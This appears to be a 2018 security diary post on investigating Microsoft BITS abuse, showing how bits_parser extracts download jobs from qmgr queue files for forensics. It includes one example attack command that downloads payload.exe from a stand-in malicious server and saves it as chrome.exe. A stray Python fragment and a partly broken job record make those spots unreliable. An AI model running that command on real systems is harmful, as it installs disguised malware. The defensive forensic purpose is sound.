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Investigating Microsoft BITS Activity

Published: 2018-01-26
Last Updated: 2018-01-26 08:32:12 UTC
by Xavier Mertens (Version: 1)
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Microsoft BITS (“Background Intelligent Transfer Service”) is a tool present[1] in all modern Microsoft Windows operating systems. As the name says, you can see it as a "curl" or "wget" tool for Windows. It helps to transfer files between a server and a client but it also has plenty of interesting features. Such a tool, being always available, is priceless for attackers. They started to use BITS to grab malicious contents from the Internet. In May 2016, I wrote a diary about a piece of malware that already used BITS[2]. But the tool has many more interesting features (for the good as well the bad guys) like executing a command once the download completed, it can also control the bandwidth used (to remain stealthy).

Previously, there was a command ‘bitsadmin’ available to manage transfers with BITS but it has been deprecated and replaced by a complete integration with PowerShell:

PS C:\> Import-Module BitsTransfer
PS C:\> Get-Command  *-bits*

CommandType     Name
-----------     ----
Cmdlet          Add-BitsFile
Cmdlet          Complete-BitsTransfer
Cmdlet          Get-BitsTransfer
Cmdlet          Remove-BitsTransfer
Cmdlet          Resume-BitsTransfer
Cmdlet          Set-BitsTransfer
Cmdlet          Start-BitsTransfer
Cmdlet          Suspend-BitsTransfer    yield from self.parse()

To create a BITS jobs, just do this:

Start-BitsTransfer -Source http://malicious.server/payload.exe -Destination %APPDATA%/chrome.exe

Note that BITS is used by many third-party tools to download their own updates like AcrobatReader.

BITS is fully integrated within the Microsoft OS and generates events in the EventLog but everybody knows that such pieces of evidence can be easily cleared by the attackers. How to investigate an incident involving file transfer performed via BITS? French researchers from ANSSI[3] had a look at the queue manager files created by BITS. Such files are stored in %%ALLUSERSPROFILE%%\Microsoft\Network\Downloader (Administrative rights are required to access them):

 Volume in drive C has no label.
 Volume Serial Number is CC68-E0A2

 Directory of C:\ProgramData\Microsoft\Network\Downloader

03/10/2016  18:04    <DIR>          .
03/10/2016  18:04    <DIR>          ..
25/01/2018  18:18         4.194.304 qmgr0.dat
25/01/2018  18:18         4.194.304 qmgr1.dat
               2 File(s)      8.388.608 bytes
               2 Dir(s)      15.106.048 bytes free

Microsoft does not communicate a lot of information about the format of the file and the ANSSI researchers did a nice job to reverse engineer the format and to create a tool to parse them. The tool is called bits_parser[4].

Let’s install it using pip and check the available options:

# bits_parser -h
Extract BITS jobs from QMGR queue or disk image to CSV file.

  bits_parser [options] [-o OUTPUT] FILE

  --no-carving                        Disable carving.

  --disk-image, -i                    Data input is a disk image.
  --radiance=VALUE                    Radiance in kB. [default: 2048]
  --skip-sampling                     Skip sampling and load file in memory.
  --checkpoint=PATH                   Store disk checkpoint file.

  --out=OUTPUT, -o OUTPUT             Write result to OUTPUT [default: stdout]
  --verbose, -v                       More verbosity.
  --debug                             Display debug messages.

  --help, -h                          Show this screen.
  --version                           Show version.

# bits_parser -o test.csv qmgr0.dat

Here are two examples of BITS jobs results (one carved, the second not). I reformated the CSV file for more readibility:

job_id fd80a460-ec19-421a-a014-11d4881c1e5c
name WU Client Download
type download
priority high
sid S-1-5-18
state suspended
file_count 1
file_id 0
dest_fn C:\Windows\SoftwareDistribution\Download\087417a132f6f4ad6d49797863745d14\374d740218c5a5bdb142754037ca67cce76d6bbf
tmp_fn C:\Windows\SoftwareDistribution\Download\087417a132f6f4ad6d49797863745d14\BIT687A.tmp
download_size 0
transfer_size 2183440
drive C:\
vol_guid \\?\Volume{7544f408-ea0d-11e0-8a32-806e6f6e6963}\
ctime 2018-01-24 20:36:07.198336,
mtime 2018-01-25 17:06:37.530274
other_time0 2018-01-25 17:06:37.530274
other_time1 2018-01-25 17:06:37.530274
other_tome2 2018-04-25 17:06:37.530274
carved False


args 1
file_count 0
file_id 0



tmp_fn C:\Windows\SoftwareDistribution\Download\76f6d3e62f7962922156b604ab456dd4\BIT6958.tmp
download_size 0
transfer_size 276240
drive C:\
vol_guid \\?\Volume{7544f408-ea0d-11e0-8a32-806e6f6e6963}\
ctime 2018-01-24 20:36:07.417086
mtime 2018-01-25 17:10:44.264648
other_time0 2018-01-25 17:06:48.764648

2018-01-25 17:06:48.764648

other_tome2 2018-04-25 17:06:48.764648
carved True

Good to know, BITS uses a dedicated User-Agent string, easy to spot in our log files:

Microsoft BITS/x.x

"x.x" is the version, currently 7.5.

If you're performing investigations involving Windows systems, you should definitively keep an eye on BITS and add bits_parser in your toolbox.


Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant

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